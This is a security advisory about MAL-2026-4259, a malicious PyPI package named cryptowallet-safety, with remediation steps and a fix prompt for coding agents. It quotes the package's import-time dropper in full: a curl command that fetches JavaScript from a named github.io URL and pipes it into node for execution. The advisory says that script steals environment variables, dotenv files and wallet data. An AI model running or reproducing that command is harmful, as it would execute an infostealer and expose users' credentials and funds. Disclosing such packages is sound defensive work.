# MAL-2026-4259: Malicious code in cryptowallet-safety (PyPI)


- **Type:** Malicious package
- **Package:** `cryptowallet-safety` (PyPI)
- **Published:** 22 May 2026

## What is MAL-2026-4259?

MAL-2026-4259 is a malicious package in cryptowallet-safety, published on 22 May 2026. 

### Official description

On `import cryptowallet_safety`, the top-level `__init__.py` (lines 13-21) shells out to `curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/wallet-safety-check.js` and pipes the response body directly into `node -e` for execution. The fetch is unpinned (mutable URL on a personal github.io site, not the package publisher's domain), unverified (no hash or signature check), executed in an alternate runtime (Node) bypassing Python install-phase sandboxes such as `pip download` / `pip wheel` / build isolation, and errors are swallowed silently. Any developer or CI system that imports this package executes whatever JavaScript the github.io account currently serves — content the attacker can change at any time. The package self-describes as a crypto-wallet safety helper, which makes the import-time dropper especially likely to land in environments handling wallet keys.

During import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github.

---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-05-eth-security-auditor

Reasons (based on the campaign):

 - files-exfiltration

 - exfiltration-env-variables

 - crypto-related

 - Downloads and executes a remote malicious script.

 - exfiltration-crypto

 - exfiltration-credentials

## What should I do about MAL-2026-4259?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4259 is a malicious package: cryptowallet-safety (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4259/ (Markdown: https://insights.sbomify.com/MAL-2026-4259/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4259

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4259/
Summaries are generated and may contain mistakes; the official description above is the record.
